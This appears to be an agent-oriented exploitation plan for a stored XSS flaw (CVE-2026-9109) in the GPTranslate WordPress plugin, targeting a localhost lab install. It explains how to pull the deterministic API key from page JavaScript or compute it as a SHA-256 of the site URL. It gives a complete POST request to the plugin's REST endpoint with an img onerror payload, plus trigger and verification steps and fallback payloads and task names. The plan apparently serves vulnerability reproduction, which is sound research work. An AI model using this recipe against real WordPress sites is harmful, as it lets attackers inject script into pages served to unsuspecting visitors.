Exploitation Research Plan - CVE-2026-9109 (GPTranslate Stored XSS)

1. Vulnerability Summary

The GPTranslate plugin (<= 2.31) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via its REST API translation storage endpoint. The plugin uses a deterministically derived API key (SHA256 of the site URL) to authenticate requests to its REST API. Because this key is printed in the HTML source of every page, any unauthenticated visitor can obtain it and submit malicious translation payloads. These payloads are stored in the database and subsequently rendered on the site without proper escaping, leading to XSS.

2. Attack Vector Analysis

• Endpoint: /wp-json/gptranslate/v1/request
• Method: POST
• Authentication: Unauthenticated (requires the x-gptranslate-key header).
• Vulnerable Parameter: The translated field within the JSON payload.
• Preconditions:
  1. The plugin must be active.
  2. At least one target translation language must be enabled (e.g., 'es').
  3. The attacker must know the gptApiKey (derived from the site URL).

3. Code Flow

1. Entry Point (REST API): The plugin registers a REST route at /gptranslate/v1/request (registered via rest_api_init).
2. Authentication Check: The handler extracts the x-gptranslate-key header and compares it to hash('sha256', get_site_url()).
3. Storage (Sink): The handler processes the syncTranslation (or similar) task. It accepts an original string and a translated string. It updates the translations column (JSON) in the {prefix}gptranslate table for the specified pagelink.
   • Vulnerability: The translated string is saved to the database without sanitization.
4. Rendering (Sink): When a user visits the page in the translated language:
   • The plugin hooks into the frontend output (likely via the_content or a similar filter).
   • It retrieves the translations from the database: $response['translations'] = json_decode($row['translations'], true) (seen in ajax-handler.php).
   • It replaces the original text on the page with the stored translated text.
   • Vulnerability: The replacement text is injected into the HTML DOM without output escaping, allowing arbitrary JavaScript execution.

4. Nonce / API Key Acquisition Strategy

The API key required for the REST API is not a standard WordPress nonce, but a deterministic hash.

1. Extraction: The key is localized to the frontend.
2. Procedure:
   • Use browser_navigate to the WordPress homepage.
   • Use browser_eval to extract the key from the global JavaScript object:

     // The description mentions gptApiKey variable, admin.js suggests gptranslate_vars
     window.gptApiKey || window.gptranslate_vars?.gptApiKey
     

3. Alternative Calculation: If JS extraction fails, calculate it manually: hash('sha256', "http://localhost:8080").

5. Exploitation Strategy

Step 1: Identify Site URL and API Key

Obtain the API key using the strategy in Section 4.

Step 2: Submit Malicious Translation

Send a POST request to the REST API to "translate" a common string on the homepage into a malicious payload.

HTTP Request (via http_request tool):

• URL: http://localhost:8080/wp-json/gptranslate/v1/request
• Method: POST
• Headers:
  • Content-Type: application/json
  • x-gptranslate-key: [EXTRACTED_API_KEY]
• Body:

{
  "task": "syncTranslation",
  "original": "Welcome to WordPress",
  "translated": "Welcome to WordPress<img src=x onerror=alert(document.domain)>",
  "language_translated": "es",
  "pagelink": "http://localhost:8080/",
  "translation_type": "translations"
}

Step 3: Trigger Execution

Navigate to the homepage in the target language (e.g., http://localhost:8080/?lang=es) to trigger the rendering of the malicious translation.

6. Test Data Setup

1. Install and Activate: Ensure GPTranslate 2.31 is active.
2. Enable Languages: Use WP-CLI to ensure at least one translation language is configured:

   # Add Spanish ('es') to the gptranslate_options
   wp option patch insert gptranslate_options languages es
   

3. Identify Target String: Ensure the homepage contains the string "Welcome to WordPress" (standard on default installs).

7. Expected Results

• The REST API responds with {"result":true} or similar.
• The database table {prefix}gptranslate now contains the XSS payload in the translations JSON column.
• Upon visiting the homepage in Spanish, an alert box showing the document domain appears.

8. Verification Steps

1. Database Check:

   wp db query "SELECT translations FROM wp_gptranslate WHERE languagetranslated = 'es' LIMIT 1;"
   

   Check if the output contains <img src=x onerror=alert(document.domain)>.
2. Frontend Check:
   Use browser_navigate("http://localhost:8080/?lang=es") and check for the presence of the alert.

9. Alternative Approaches

• Payload Variance: If <script> tags are filtered by server-side WAFs (though not the plugin), use <img> or <svg> event handlers.
• Task Names: If syncTranslation fails, try save_translation or update_translation (inferred task names common in these plugins).
• Target Pages: If the homepage is protected, target a specific post URL by changing the pagelink parameter.